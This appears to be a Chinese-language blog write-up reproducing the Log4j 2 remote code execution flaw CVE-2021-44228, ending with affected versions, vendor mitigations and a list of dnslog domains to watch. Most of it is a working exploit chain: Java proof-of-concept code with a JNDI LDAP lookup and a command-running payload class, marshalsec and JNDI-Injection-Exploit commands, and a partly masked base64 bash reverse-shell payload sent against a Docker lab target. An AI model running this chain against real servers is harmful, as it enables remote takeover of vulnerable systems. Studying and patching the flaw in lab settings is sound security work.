CVE-2021-44228 Apache Log4j 2 远程代码执行漏洞(反弹shell)
本地复现
https://github.com/tangxiaofeng7/apache-log4j-poc
log4j.java内容
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
}
Log4jRCE.java内容
public class Log4jRCE {
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
注意,这里Log4jRCE.java不要放在项目里,我这里将Log4jRCE.class放到了D盘根目录,不然log4j.java运行时会读取到本地的Log4jRCE,就不是http远程下载了
在D盘根目录
python -m http.server 8888
然后执行
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
参考:https://github.com/udoless/apache-log4j-rce-poc
https://github.com/tangxiaofeng7/apache-log4j-poc
远程RCE
docker拉个镜像
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest
先用网上公开的exp探测一下(此处为了引起不要的麻烦打码,你懂的)
反弹shell
需要用到JNDI-Injection-Exploit启动⼀个rmi和ldap服务器,15c1貌似给ldap禁了但是rmi可以用,所以有了15c2
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxxxxxxxxxxxxxxxuNzYuNDkvODQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
burp发包即可
漏洞影响版本:
2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1
修复建议:
官方处置:
建议您在升级前做好数据备份工作,避免出现意外。
1、厂商已发布新版本修复漏洞,请及时自查Log4j 2版本是否在影响范围内,及时将Log4j 2更新到安全版本 log4j-2.15.0-rc2,下载链接:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
2、升级已知受影响的应用及组件,如:
spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink。
临时解决方案:
1、设置jvm参数:
“-Dlog4j2.formatMsgNoLookups=true”;
2、添加log4j2.component.properties配置文件,设置:
“log4j2.formatMsgNoLookups=True”;
3、系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”;
4、若相关用户暂时无法进行升级操作,也可通过禁止Log4j中SocketServer类所启用的socket端对公网开放来进行防护;
5、禁止安装log4j的服务器访问外网,并在边界对dnslog相关域名访问进行检测。部分公共dnslog平台如下:
ceye.io
dnslog.link
dnslog.cn
dnslog.io
tu4.org
awvsscan119.autoverify.cn
burpcollaborator.net
s0x.cn